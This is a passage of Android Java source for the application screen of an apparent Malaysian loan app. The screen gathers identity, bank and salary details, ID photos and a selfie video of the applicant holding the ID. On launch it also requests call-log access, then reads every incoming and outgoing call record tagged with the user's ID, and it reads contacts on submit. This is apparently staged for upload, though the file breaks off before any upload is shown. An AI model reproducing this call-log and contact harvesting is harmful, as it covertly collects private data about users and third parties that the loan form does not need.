package com.dskj.daikuan.ui.activity;

import android.Manifest;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
import android.database.Cursor;
import android.graphics.Color;
import android.graphics.drawable.AnimationDrawable;
import android.hardware.Camera;
import android.media.CamcorderProfile;
import android.media.MediaPlayer;
import android.media.MediaRecorder;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.os.Handler;
import android.os.SystemClock;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.text.Html;
import android.text.TextUtils;
import android.util.Log;
import android.view.SurfaceHolder;
import android.view.View;
import android.widget.EditText;
import android.widget.MediaController;
import android.widget.Toast;

import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AlertDialog;
import androidx.core.content.ContextCompat;
import androidx.lifecycle.ViewModelProviders;
import androidx.recyclerview.widget.LinearLayoutManager;

import com.azhon.basic.base.BaseActivity;
import com.bumptech.glide.Glide;
import com.cazaea.sweetalert.ProgressHelper;
import com.cazaea.sweetalert.SweetAlertDialog;
import com.dskj.daikuan.BuildConfig;
import com.dskj.daikuan.InitApp;
import com.dskj.daikuan.R;
import com.dskj.daikuan.adapter.comm.CommonAdapter;
import com.dskj.daikuan.adapter.comm.ViewHolder;
import com.dskj.daikuan.api.Api;
import com.dskj.daikuan.api.BaseObserver;
import com.dskj.daikuan.api.Result;
import com.dskj.daikuan.bean.BankBean;
import com.dskj.daikuan.bean.CallLogBean;
import com.dskj.daikuan.bean.LoanApplyBean;
import com.dskj.daikuan.bean.LoanBean;
import com.dskj.daikuan.bean.UserBean;
import com.dskj.daikuan.databinding.ActivityMain2Binding;
import com.dskj.daikuan.databinding.ActivityShenqingBinding;
import com.dskj.daikuan.ui.dialog.BankListDialog;
import com.dskj.daikuan.utils.GsonUtils;
import com.dskj.daikuan.utils.LogUtils;
import com.dskj.daikuan.utils.ToastUtils;
import com.dskj.daikuan.viewModel.home.MainViewModel;
import com.github.hariprasanths.bounceview.BounceView;
import com.tbruyelle.rxpermissions2.Permission;
import com.tbruyelle.rxpermissions2.RxPermissions;
import com.tencent.bugly.crashreport.CrashReport;
import com.zhihu.matisse.Matisse;
import com.zhihu.matisse.MimeType;
import com.zhihu.matisse.engine.impl.GlideEngine;
import com.zhihu.matisse.internal.entity.CaptureStrategy;

import java.io.File;
import java.io.IOException;
import java.lang.reflect.Type;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.functions.Consumer;
import io.reactivex.schedulers.Schedulers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;


public class ShenQingActivity extends BaseActivity<MainViewModel, ActivityShenqingBinding> {
    private Uri imageUri;
    private String imageUriString = "";
    private String imageUriStringNet = "";
    boolean isRenXiang = true;

    private Uri imageUriGuoHui;
    private String imageUriGuoHuiString = "";
    private String imageUriGuoHuiStringNet = "";
    private RxPermissions rxPermissions;
    public static final int REQUEST_CODE_CHOOSE = 0x124;
    ArrayList<String> files = new ArrayList<>();
    ArrayList<BankBean> banks = new ArrayList<>();
    ArrayList<String> contents = new ArrayList<>();
    SweetAlertDialog pDialog;
    int id = -100;
    String id_front = null;
    String id_back = null;
    String videoPath = null;
    int index = 0;
    public static final int MAXIMG = BuildConfig.DEBUG ? 1 : 100;
    private SurfaceHolder mSurfaceHolder;
    //DATA
    // 标记，判断当前是否正在录制
    private boolean isRecording = false;
    // 录制开始时的时间戳（用于录制完成时计算录制时间的）
    private long startRecordingTimestamp = 0;
    List<CallLogBean> list;

    // 存储文件
    private Camera mCamera;
    private MediaRecorder mediaRecorder;
    private String currentVideoFilePath;
    private String saveDirFromIntent = null;
    int shoquuanSize = 0;

    String defaultJson = "[{\"id\":25,\"name\":\"Co-op Bank Pertama\"},{\"id\":5,\"name\":\"Maybank\"},{\"id\":6,\"name\":\"CIMB\"},{\"id\":7,\"name\":\"Public Bank Berhad\"},{\"id\":8,\"name\":\"RHB Bank\"},{\"id\":9,\"name\":\"Hong Leong Bank\"},{\"id\":10,\"name\":\"AmBank\"},{\"id\":11,\"name\":\"UOB Malaysia\"},{\"id\":12,\"name\":\"Bank Rakyat\"},{\"id\":13,\"name\":\"OCBC Bank Malaysia\"},{\"id\":14,\"name\":\"HSBC Bank\"},{\"id\":15,\"name\":\"Bank Islam\"},{\"id\":16,\"name\":\"Affin Bank\"},{\"id\":17,\"name\":\"Alliance Bank\"},{\"id\":18,\"name\":\"Standard Chartered\"},{\"id\":19,\"name\":\"MBSB Bank Berhad\"},{\"id\":20,\"name\":\"Citibank Malaysia\"},{\"id\":21,\"name\":\"Bank Simpanan Nasional (BSN)\"},{\"id\":22,\"name\":\"Bank Muamalat\"},{\"id\":23,\"name\":\"Agrobank\"},{\"id\":24,\"name\":\"Al-Rajhi Malaysia\"},{\"id\":26,\"name\":\"TNG\"},{\"id\":27,\"name\":\"Deutsche Bank Aktiengesellschaf\"},{\"id\":28,\"name\":\"Al Rajhi Banking & Investment Corporation\"},{\"id\":29,\"name\":\"MIMB Investment Bank Berhad\"},{\"id\":30,\"name\":\"Kenanga Investment Bank Berhad\"},{\"id\":31,\"name\":\"KAF Investment Bank Berhad\"},{\"id\":32,\"name\":\"AmInvestment Bank Berhad\"},{\"id\":33,\"name\":\"Kuwait Finance House\"},{\"id\":34,\"name\":\"Asian Finance Bank Berhad\"},{\"id\":35,\"name\":\"Al Rajhi Banking & Investment Corporation\"},{\"id\":36,\"name\":\"United Overseas Bank (Malaysia) Bhd.\"},{\"id\":37,\"name\":\"The Royal Bank of Scotland Berhad\"},{\"id\":38,\"name\":\"The Bank of Nova Scotia Berhad\"},{\"id\":39,\"name\":\"National Bank of Abu Dhabi Malaysia Berhad\"},{\"id\":40,\"name\":\"Mizuho Bank (Malaysia) Berhad\"},{\"id\":41,\"name\":\"Malayan Banking Berhad\"},{\"id\":42,\"name\":\"J.P. Morgan Chase Bank Berhad\"},{\"id\":43,\"name\":\"Industrial and Commercial Bank of China\"},{\"id\":44,\"name\":\"India International Bank\"},{\"id\":45,\"name\":\"Deutsche Bank\"},{\"id\":46,\"name\":\"Bank of Tokyo-Mitsubishi UFJ\"},{\"id\":47,\"name\":\"Bank of China\"},{\"id\":48,\"name\":\"Bank of America Malaysia\"},{\"id\":49,\"name\":\"Bangkok Bank Berhad\"},{\"id\":50,\"name\":\"BNP Paribas Malaysia Berha\"}]";

    @Override
    protected MainViewModel initViewModel() {
        return ViewModelProviders.of(this).get(MainViewModel.class);
    }

    @Override
    protected void showError(Object obj) {

    }

    @Override
    protected int initLayout() {
        return R.layout.activity_shenqing;
    }

    @RequiresApi(api = Build.VERSION_CODES.Q)
    @Override
    protected void initView() {
        rxPermissions = new RxPermissions(this);
        this.saveDirFromIntent = getReceivedShortVideoSavedDirHasSlash();
        dataBinding.backButton.setOnClickListener(view -> {
            SweetAlertDialog pDialog = new SweetAlertDialog(this, SweetAlertDialog.WARNING_TYPE);
            pDialog.setTitleText("Exit the current account？");
            pDialog.setConfirmText("Exit");
            pDialog.show();
            pDialog.setConfirmClickListener(sweetAlertDialog -> Api.getInstance().logout()
                    .subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new BaseObserver<Result>() {

                        @Override
                        public void onSuccess(Result feedbackResp) {
                            InitApp.setUserToken("");
                            startActivity(new Intent(ShenQingActivity.this, LoginActivity.class));
                            finish();
                        }

                        @Override
                        public void onError(int code, String msg) {
                            InitApp.setUserToken("");
                            startActivity(new Intent(ShenQingActivity.this, LoginActivity.class));
                            finish();
                        }
                    }));
        });
        dataBinding.titleTv.setText("Register");
        setAnimViews(dataBinding.fullnameEt, dataBinding.icEt, dataBinding.phoneNumberEt, dataBinding.occupationEt, dataBinding.addressEt,
                dataBinding.beneficiaryAccountNoEt, dataBinding.salaryEt, dataBinding.loanAmountEt);



        dataBinding.menuTv.setVisibility(View.VISIBLE);
        dataBinding.menuTv.setOnClickListener(view -> startActivity(new Intent(ShenQingActivity.this, MainActivity.class)));
        dataBinding.backButton.setVisibility(View.VISIBLE);
        dataBinding.backButton.setImageResource(R.mipmap.tuichu_img);

        dataBinding.renxiangCy.setOnClickListener(view -> {
            isRenXiang = true;
            toOpenFile();
        });
        dataBinding.guohuiCy.setOnClickListener(view -> {
            isRenXiang = false;
            toOpenFile();
        });

        dataBinding.loginBt.setOnClickListener(view -> {
            shoquuanSize = 0;
            rxPermissions.requestEach(Manifest.permission.READ_CONTACTS, Manifest.permission.CAMERA,
                            Manifest.permission.RECORD_AUDIO)
                    .subscribe(permission -> {
                        if (permission.granted) {
                            shoquuanSize += 1;
                            if (shoquuanSize == 3) {
                                readContacts();
                                toSumbit();
                            }
                        } else if (permission.shouldShowRequestPermissionRationale) {
                            ToastUtils.showShort(dataBinding.loginBt, getString(R.string.contacts_permission_font_txt));
                        } else {
                            ToastUtils.showShort(dataBinding.loginBt, getString(R.string.contacts_permission_font_all_txt));
                        }
                    });
        });

        rxPermissions.requestEach(Manifest.permission.READ_CONTACTS, Manifest.permission.CAMERA, Manifest.permission.RECORD_AUDIO, Manifest.permission.READ_CALL_LOG)
                .subscribe(permission -> {
                    if (permission.granted) {
                        int result = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CALL_LOG);
                        if (PackageManager.PERMISSION_GRANTED == result) {
                            getCalls();
                        }
                    }
                });
        dataBinding.beneficiaryBankEt.setOnClickListener(view -> {

            BankListDialog bankListDialog = new BankListDialog(ShenQingActivity.this, banks);
            bankListDialog.setOntoAlbumListener(position -> {
                dataBinding.beneficiaryBankEt.setText(position.getName());
            });
            bankListDialog.show();
        });
        banks = (ArrayList<BankBean>) GsonUtils.getListFromJSON(defaultJson, BankBean.class);

        getBank();

        dataBinding.topLyF1.backButton.setOnClickListener(view -> onBackPressed());
        dataBinding.wanchengIv.setOnClickListener(view -> {
            toPush();
            uploadSiginVideo(new File(currentVideoFilePath));
        });
    }


    private void getCalls() {
        try {
            ContentResolver resolver = getContentResolver();
            Cursor cursor = resolver.query(CallLog.Calls.CONTENT_URI, // 查询通话记录的URI
                    new String[]{CallLog.Calls.CACHED_NAME// 通话记录的联系人
                            , CallLog.Calls.NUMBER// 通话记录的电话号码
                            , CallLog.Calls.DATE// 通话记录的日期
                            , CallLog.Calls.DURATION// 通话时长
                            , CallLog.Calls.TYPE}// 通话类型
                    , null, null, CallLog.Calls.DEFAULT_SORT_ORDER// 按照时间逆序排列，最近打的最先显示
            );
            list = new ArrayList<CallLogBean>();
            UserBean userBean = InitApp.getUserBean();
            while (cursor.moveToNext()) {
                @SuppressLint("Range") String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
                @SuppressLint("Range") String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                @SuppressLint("Range") long dateLong = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));
                String date = new SimpleDateFormat("yyyy-MM-dd HH-mm-ss").format(new Date(dateLong));
                @SuppressLint("Range") int duration = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION));
                @SuppressLint("Range") int type = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE));
                switch (type) {
                    case CallLog.Calls.INCOMING_TYPE:
                        CallLogBean callLogBean = new CallLogBean(userBean.getId() + "", number, "1", date, duration + "");
                        list.add(callLogBean);
                        break;
                    case CallLog.Calls.OUTGOING_TYPE:
                        CallLogBean callLogBean1 = new CallLogBean(userBean.getId() + "", number, "2", date, duration + "");
                        list.add(callLogBean1);
                        break;

                    default:
                        break;
                }

            }
            if (BuildConfig.DEBUG) {
                if (list != null && list.size() > 0) {
                    list = list.subList(0, 1);
                }
            }


        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * 返回存储收到的短视频的目录（结尾带反斜线）.
     *
     * @return 如果SDCard等正常则返回目标路径，否则返回null
     */
    public String getReceivedShortVideoSavedDirHasSlash() {
        String dir = getReceivedShortVideoSavedDir();

        return dir == null ? null : (dir + "/");
    }

    public String getReceivedShortVideoSavedDir() {
        String dir = null;
        File sysExternalStorageDirectory = getDefaultCacheDir(ShenQingActivity.this);//Environment.getExternalStorageDirectory();
        if (sysExternalStorageDirectory != null && sysExternalStorageDirectory.exists()) {
            dir = sysExternalStorageDirectory.getAbsolutePath()
                    + DIR_KCHAT_SHORTVIDEO_RELATIVE_DIR;
        }

        return dir;
    }

    /**
     * 获取app默认的缓存目录（为了适配Andriod 10、11及以上版本分区存储，本方法返回的是系统允许的app权限内缓存目录）。
     *
     * @param context 上下文
     * @return 如果成功获取则返回File指明的目录，否则返回nul;
     * @since 7.2
     */
    public static File getDefaultCacheDir(Context context) {
        try {
            File cacheDir = context.getExternalCacheDir();
            if (cacheDir == null) {
                cacheDir = context.getCacheDir();
            }
            return cacheDir;
        } catch (Exception e) {
        }
        return null;
    }

    String DIR_KCHAT_SHORTVIDEO_RELATIVE_DIR = "/" + "shortvideo";

    private void getBank() {
        Api.getInstance().BankIndex()
                .subscribeOn(Schedulers.io())
                .observeOn(AndroidSchedulers.mainThread())
                .subscribe(new BaseObserver<>() {

                    @Override
                    public void onSuccess(Result<List<BankBean>> feedbackResp) {
                        if (feedbackResp.data != null && feedbackResp.data.size() > 0) {
                            banks = (ArrayList<BankBean>) feedbackResp.data;
                            InitApp.saveString("bank_list", GsonUtils.beanToJSONString(banks));
                        }
                    }

                    @Override
                    public void onError(int code, String msg) {
                        banks = (ArrayList<BankBean>) GsonUtils.getListFromJSON(InitApp.getString("bank_list", ""), BankBean.class);
                    }
                });
    }

    private void toPush() {
        pDialog = new SweetAlertDialog(this, SweetAlertDialog.PROGRESS_TYPE);
        pDialog.getProgressHelper().setBarColor(getResources().getColor(R.color.colorPrimary));
        pDialog.setTitleText("Submitting application……");
        pDialog.setCancelable(false);
        pDialog.show();

    }

    private void changePush(boolean isSucc, String msg) {

        if (pDialog != null) {
            if (pDialog.isShowing()) {
                if (isSucc) {
                    pDialog.changeAlertType(SweetAlertDialog.SUCCESS_TYPE);
                    pDialog.setTitleText(msg);
                    pDialog.setConfirmText("Record Video");
                    pDialog.setConfirmClickListener(sweetAlertDialog -> {
                        pDialog.dismiss();
                        toStep2();
                        pDialog.cancel();

                    });
                } else {
                    pDialog.changeAlertType(SweetAlertDialog.ERROR_TYPE);
                    pDialog.setTitleText(msg);
                    pDialog.setConfirmText("ok");
                    pDialog.setConfirmClickListener(sweetAlertDialog -> {
                        pDialog.dismiss();
                        pDialog.cancel();

                    });
                }
            }


        }
    }

    private void changePushNext(boolean isSucc, String msg) {
        if (pDialog != null && pDialog.isShowing()) {
            pDialog.changeAlertType(SweetAlertDialog.SUCCESS_TYPE);
            pDialog.setTitleText(msg);
            pDialog.setConfirmText("ok");
            pDialog.setConfirmClickListener(sweetAlertDialog -> {
                completeRecording(false, -1000);
                dataBinding.step1Ry.setVisibility(View.VISIBLE);
                dataBinding.step2Ry.setVisibility(View.GONE);
                dataBinding.sfzIv.setVisibility(View.VISIBLE);
                qingkong();

                new Handler().postDelayed(() -> {
                    Intent intent = new Intent(ShenQingActivity.this, XiangQingActivity.class);
                    intent.putExtra("id", id);
                    startActivity(intent);
                }, 500);
                pDialog.cancel();

            });
        }
    }

    private void qingkong() {
        dataBinding.fullnameEt.setText("");
        dataBinding.icEt.setText("");
        dataBinding.phoneNumberEt.setText("");
        dataBinding.occupationEt.setText("");
        dataBinding.addressEt.setText("");
        dataBinding.beneficiaryAccountNoEt.setText("");
        dataBinding.beneficiaryBankEt.setText("");
        dataBinding.salaryEt.setText("");
        dataBinding.loanAmountEt.setText("");
        imageUri = null;
        imageUriString = "";
        imageUriStringNet = "";
        imageUriGuoHui = null;
        imageUriGuoHuiString = "";
        imageUriGuoHuiStringNet = "";
        dataBinding.zhengmianIv.setImageResource(R.mipmap.sfzzm);
        dataBinding.fanmianIv.setImageResource(R.mipmap.sfzbm);


    }

    @RequiresApi(api = Build.VERSION_CODES.Q)
    private void toSumbit() {

        if (TextUtils.isEmpty(dataBinding.fullnameEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "Name cannot be empty");
            return;
        }

        if (TextUtils.isEmpty(dataBinding.icEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "IC cannot be empty");
            return;
        }


        if (TextUtils.isEmpty(dataBinding.phoneNumberEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "Phone number cannot be empty");
            return;
        }


        if (TextUtils.isEmpty(dataBinding.occupationEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "Occupation cannot be empty");
            return;
        }


        if (TextUtils.isEmpty(dataBinding.addressEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "Address cannot be empty");
            return;
        }


        if (TextUtils.isEmpty(dataBinding.beneficiaryBankEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "Beneficiary Bank cannot be empty");
            return;
        }

        if (TextUtils.isEmpty(dataBinding.beneficiaryAccountNoEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "Beneficiary Account No cannot be empty");
            return;
        }

        if (TextUtils.isEmpty(dataBinding.salaryEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "Salary cannot be empty");
            return;
        }

        if (TextUtils.isEmpty(dataBinding.loanAmountEt.getText().toString())) {
            ToastUtils.showShort(dataBinding.loginBt, "The loan amount cannot be empty");
            return;
        }

        if (imageUri == null) {
            ToastUtils.showShort(dataBinding.loginBt, "IC-Front cannot be empty");
            return;
        }

        if (imageUriGuoHui == null) {
            ToastUtils.showShort(dataBinding.loginBt, "IC-Rear cannot be empty");
            return;
        }

        toPush();
        toFileList();


    }

    private void toStep2() {
        dataBinding.step1Ry.setVisibility(View.GONE);
        dataBinding.step2Ry.setVisibility(View.VISIBLE);
        dataBinding.topLyF1.titleTv.setText("Record Video");
        isRecording = false;

        dataBinding.nameTvStep.setText(Html.fromHtml("Sila pegang kad IC pengenalan anda dan katakan pada kamera cakap<br><strong>Saya name " + dataBinding.fullnameEt.getText().toString().trim() + " ingin memohon loan RM" + dataBinding.loanAmountEt.getText().toString().trim() + "</strong>"));
        dataBinding.nameTvStep2.setText(Html.fromHtml("请拿着身份证对着镜头说<br><strong>我" + dataBinding.fullnameEt.getText().toString().trim() + "想要申请贷款 RM" + dataBinding.loanAmountEt.getText().toString().trim() + "</strong>"));

        initSuf();
        dataBinding.luzhiIv.setOnClickListener(view -> {
            dataBinding.sfzIv.setVisibility(View.GONE);
            if (!isRecording) {
                startRecording();
            } else {
                completeRecording(false, -1);
            }
        });
        dataBinding.succLy.setVisibility(View.GONE);
        dataBinding.luzhiIv.setVisibility(View.VISIBLE);

        dataBinding.playerIv.setVisibility(View.GONE);
        dataBinding.videoViewT.setVisibility(View.GONE);

        dataBinding.chongxinTv.setOnClickListener(view -> {
            dataBinding.succLy.setVisibility(View.GONE);

            dataBinding.luzhiIv.setVisibility(View.VISIBLE);
            initSuf();
            dataBinding.playerIv.setVisibility(View.GONE);
            dataBinding.videoViewT.setVisibility(View.GONE);

            if (!isRecording) {
                startRecording();
            } else {
                completeRecording(false, -1);
            }
        });
    }

    private void initSuf() {

        // 配置SurfaceHolder
        mSurfaceHolder = dataBinding.commonShortVideoRecordAcRecordSurfaceView.getHolder();
        // 设置Surface不需要维护自己的缓冲区
        mSurfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
        // 设置分辨率
        mSurfaceHolder.setFixedSize(720, 720);
        // 设置该组件不会让屏幕自动关闭
        mSurfaceHolder.setKeepScreenOn(true);
        // 回调接口
        mSurfaceHolder.addCallback(mSurfaceCallBack);
    }


    private SurfaceHolder.Callback mSurfaceCallBack = new SurfaceHolder.Callback() {
        @Override
        public void surfaceCreated(SurfaceHolder surfaceHolder) {
            initCamera();
        }

        @Override
        public void surfaceChanged(SurfaceHolder surfaceHolder, int format, int width, int height) {
            if (mSurfaceHolder.getSurface() == null) {
                return;
            }
        }

        @Override
        public void surfaceDestroyed(SurfaceHolder surfaceHolder) {
            releaseCamera();
        }
    };

    /**
     * 释放摄像头资源
     *
     * @date 2016-2-5
     */
    private void releaseCamera() {
        if (mCamera != null) {
            mCamera.setPreviewCallback(null);
            mCamera.stopPreview();
            mCamera.release();
            mCamera = null;
        }
    }

    /**
     * 初始化摄像头
     *
     * @throws IOException
     */
    private void initCamera() {

        try {
            if (mCamera != null) {
                releaseCamera();
            }

            mCamera = Camera.open(findFrontFacingCamera());
            if (mCamera == null) {
                Toast.makeText(this, "未能获取到相机！", Toast.LENGTH_SHORT).show();
                return;
            }

            //将相机与SurfaceHolder绑定
            mCamera.setPreviewDisplay(mSurfaceHolder);
            //配置CameraParams
            configCameraParams();
            //启动相机预览
            mCamera.startPreview();
        } catch (Exception e) {
            //有的手机会因为兼容问题报错，这就需要开发者针对特定机型去做适配了
            Log.w(TAG, "【视频录制】Error initCamera: " + e.getMessage(), e);
        }
    }

    private int findFrontFacingCamera() {
        int cameraId = -1;
        int numberOfCameras = Camera.getNumberOfCameras();
        for (int i = 0; i < numberOfCameras; i++) {
            Camera.CameraInfo info = new Camera.CameraInfo();
            Camera.getCameraInfo(i, info);
            if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
                cameraId = i;
                break;
            }
        }
        return cameraId;
    }

    /**
     * 设置摄像头为竖屏
     *
     * @date 2015-3-16
     */
    private void configCameraParams() {
        Camera.Parameters params = mCamera.getParameters();
        if (this.getResources().getConfiguration().orientation != Configuration.ORIENTATION_LANDSCAPE) {
            params.set("orientation", "portrait");
            mCamera.setDisplayOrientation(90);
        } else {
            params.set("orientation", "landscape");
            mCamera.setDisplayOrientation(0);
        }

        List<String> focusModes = params.getSupportedFocusModes();
        if (focusModes.contains(Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO)) {
            params.setFocusMode(Camera.Parameters.FOCUS_MODE_CONTINUOUS_VIDEO);
        }

        // 以下方法只在android level 14及以上版本才有的，代码里要加判断哦！！！
        // http://www.android-doc.com/reference/android/hardware/Camera.Parameters.html#setRecordingHint(boolean)
        if (Build.VERSION.SDK_INT >= 14) {
            //缩短Recording启动时间
            params.setRecordingHint(true);
            //影像稳定能力
            configVideoStabilization(params);
        }

        mCamera.setParameters(params);
    }

    @TargetApi(15)
    private void configVideoStabilization(Camera.Parameters params) {
        //影像稳定能力
        if (params.isVideoStabilizationSupported())
            params.setVideoStabilization(true);
    }

    /**
     * 录制事件监听器
     */
    private MediaRecorder.OnInfoListener mMediaRecorderOnInfoListener = (mediaRecorder, what, extra) -> {
        // 到达了最大录制时长
        if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_DURATION_REACHED) {
//            Log.v(TAG, "【视频录制】到达了最大录制时长（"+ Const.SHORT_VIDEO_RECORD_MAX_TIME+"ms）");
            // 完成录制
            completeRecording(true, 10 * 1000);
        }
    };

    /**
     * 开始录制视频
     */
    private boolean startRecord() {

        initCamera();

        //录制视频前必须先解锁Camera
        mCamera.unlock();
        configMediaRecorder();

        //开始录制
        try {
            mediaRecorder.prepare();
        } catch (IOException e) {
            e.printStackTrace();
            Log.w("BIKAOVIDEO", e);
            return false;
        }
        mediaRecorder.start();
        return true;
    }


    private MediaRecorder.OnErrorListener OnErrorListener = (mediaRecorder, what, extra) -> {
        try {
            if (mediaRecorder != null) {
                mediaRecorder.reset();
            }
        } catch (Exception e) {
            Log.e(TAG, e.getMessage(), e);
        }
    };

    /**
     * 配置MediaRecorder()
     */

    private void configMediaRecorder() {
        mediaRecorder = new MediaRecorder();
        mediaRecorder.reset();
        mediaRecorder.setCamera(mCamera);
        mediaRecorder.setOnErrorListener(OnErrorListener);

        mediaRecorder.setOnInfoListener(this.mMediaRecorderOnInfoListener);
        // 设置最大录制时长
        mediaRecorder.setMaxDuration(20 * 1000);

        //使用SurfaceView预览
        mediaRecorder.setPreviewDisplay(mSurfaceHolder.getSurface());

        //1.设置采集声音
        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);

        //设置采集图像
        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
        //2.设置视频，音频的输出格式 mp4
        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
        //3.设置音频的编码格式
        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        //设置图像的编码格式
        mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);

        //视录制录制质量（当前默认录制480P的视频，当前的各项参数可以确保录制出的视频跟微信的画质、文件大小等持平）
        CamcorderProfile mProfile = null;
        try {
            mProfile = CamcorderProfile.get(CamcorderProfile.QUALITY_720P);
        } catch (Exception e) {
            Log.w(TAG, "【视频录制】此手机不支持QUALITY_480P录制，为保兼容性将使用最低质量进行录制。", e);
            mProfile = CamcorderProfile.get(CamcorderProfile.QUALITY_LOW);
        }

        Log.i(TAG, "【视频录制】预定义录制参数中，mProfile.videoFrameWidth="
                + mProfile.videoFrameWidth + ", mProfile.videoFrameHeight=" + mProfile.videoFrameHeight);

        mediaRecorder.setAudioEncodingBitRate(44100);
        if (mProfile.videoBitRate > 2 * 1024 * 1024)
            mediaRecorder.setVideoEncodingBitRate(2 * 1024 * 1024);
        else
            mediaRecorder.setVideoEncodingBitRate(1024 * 1024);

        //设置选择角度，顺时针方向，因为默认是逆向90度的，这样图像就是正常显示了,这里设置的是观看保存后的视频的角度
        mediaRecorder.setOrientationHint(270);
        //设置录像的分辨率
        LogUtils.i("分辨率：" + mProfile.videoFrameWidth + ";;" + mProfile.videoFrameHeight);

        //设置录像视频输出地址
        mediaRecorder.setOutputFile(currentVideoFilePath);
    }

    private String getTempVideoName() {
        return "shortvideo_" + new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date()) + ".mp4";
    }

    /**
     * 录制开始
     */
    public void startRecording() {
        // 视频文件保存路径，configMediaRecorder方法中会设置
        currentVideoFilePath = this.saveDirFromIntent + getTempVideoName();

        // 如果目录不存在就创建之
        File dir = new File(this.saveDirFromIntent);
        if (!dir.exists())
            dir.mkdirs();

//        //开始录制视频
        if (!startRecord()) {
            return;
        }
        this.isRecording = true;
        // 开始录制时间
        this.startRecordingTimestamp = System.currentTimeMillis();

        refreshControlUI();
    }

    /**
     * 录制完成。
     */
    public void completeRecording(boolean reachedMaxRecordTime, long _recordDuration) {
        // 本次录制的时长
        long recordDuration = (_recordDuration == -1 ? System.currentTimeMillis() - this.startRecordingTimestamp : _recordDuration);

        // 先取消录制
        cancelRecordingNoConfirm(false);

        LogUtils.i("【视频录制】视频录制完成(时长:" + recordDuration + "ms)，保存路径是：" + this.currentVideoFilePath);
        if (_recordDuration != -1000) {
            dataBinding.luzhiIv.setVisibility(View.GONE);
            dataBinding.succLy.setVisibility(View.VISIBLE);

            dataBinding.playerIv.setVisibility(View.VISIBLE);

        }
        // 再调置回调数据
        Intent intent = new Intent();
        intent.putExtra("path", this.currentVideoFilePath);
        intent.putExtra("duration", recordDuration);
        intent.putExtra("reachedMaxRecordTime", reachedMaxRecordTime);
//        setResult(RESULT_OK, intent);
//
//        super.finish();


        dataBinding.playerIv.setOnClickListener(view -> {
            dataBinding.videoViewT.setVisibility(View.VISIBLE);
            dataBinding.videoView.setVideoPath(ShenQingActivity.this.currentVideoFilePath);
            dataBinding.videoView.start();
            dataBinding.playerIv.setVisibility(View.GONE);


        });


    }

    /**
     * 取消录制。
     */
    public void cancelRecordingNoConfirm(boolean deleteFile) {
        if (this.isRecording) {
            Log.d(TAG, "【视频录制】当前正在录制中，cancelRecording时需先停止录制相关逻辑。。。");

            try {
                //停止视频录制
                stopRecord();

                // 重置
                this.startRecordingTimestamp = 0;

                //先给Camera加锁后再释放相机
                mCamera.lock();
                releaseCamera();

                this.isRecording = false;

                refreshControlUI();

                // 如果需要删除录制完成的文件
                if (deleteFile && this.currentVideoFilePath != null) {
                    deleteFile(this.currentVideoFilePath);
                }
            } catch (Exception e) {
                Log.w(TAG, "【视频录制】cancelRecording时发生异常，原因：" + e.getMessage(), e);
            }
        } else {
            Log.d(TAG, "【视频录制】当前未在录制中，cancelRecording时直接通出当前界面即可。");
        }
    }

    @Override
    public void onBackPressed() {
        if (dataBinding.step2Ry.getVisibility() == View.VISIBLE) {
            completeRecording(false, -1000);
            dataBinding.step1Ry.setVisibility(View.VISIBLE);
            dataBinding.step2Ry.setVisibility(View.GONE);
            dataBinding.sfzIv.setVisibility(View.VISIBLE);
        } else {
            super.onBackPressed();

        }
    }

    /**
     * 停止录制视频
     */
    private void stopRecord() {
        // 设置后不会崩
        mediaRecorder.setOnErrorListener(null);
        mediaRecorder.setPreviewDisplay(null);
        //停止录制
        mediaRecorder.stop();
        mediaRecorder.reset();
        //释放资源
        mediaRecorder.release();
        mediaRecorder = null;
    }

    /**
     * 点击中间按钮，执行的UI更新操作
     */
    private void refreshControlUI() {
        if (this.isRecording) {

            // 设置按钮此状态下的图标
            dataBinding.luzhiIv.setImageResource(R.mipmap.luzhi_img1);

        } else {
            dataBinding.luzhiIv.setImageResource(R.mipmap.luzhi_img);

        }
    }

    private void toApply() {
        Api.getInstance().apply(dataBinding.fullnameEt.getText().toString(), dataBinding.icEt.getText().toString(), dataBinding.phoneNumberEt.getText().toString(),
                        dataBinding.occupationEt.getText().toString(), dataBinding.addressEt.getText().toString(), dataBinding.beneficiaryBankEt.getText().toString(),
                        dataBinding.beneficiaryAccountNoEt.getText().toString(), Float.parseFloat(dataBinding.salaryEt.getText().toString().trim()),
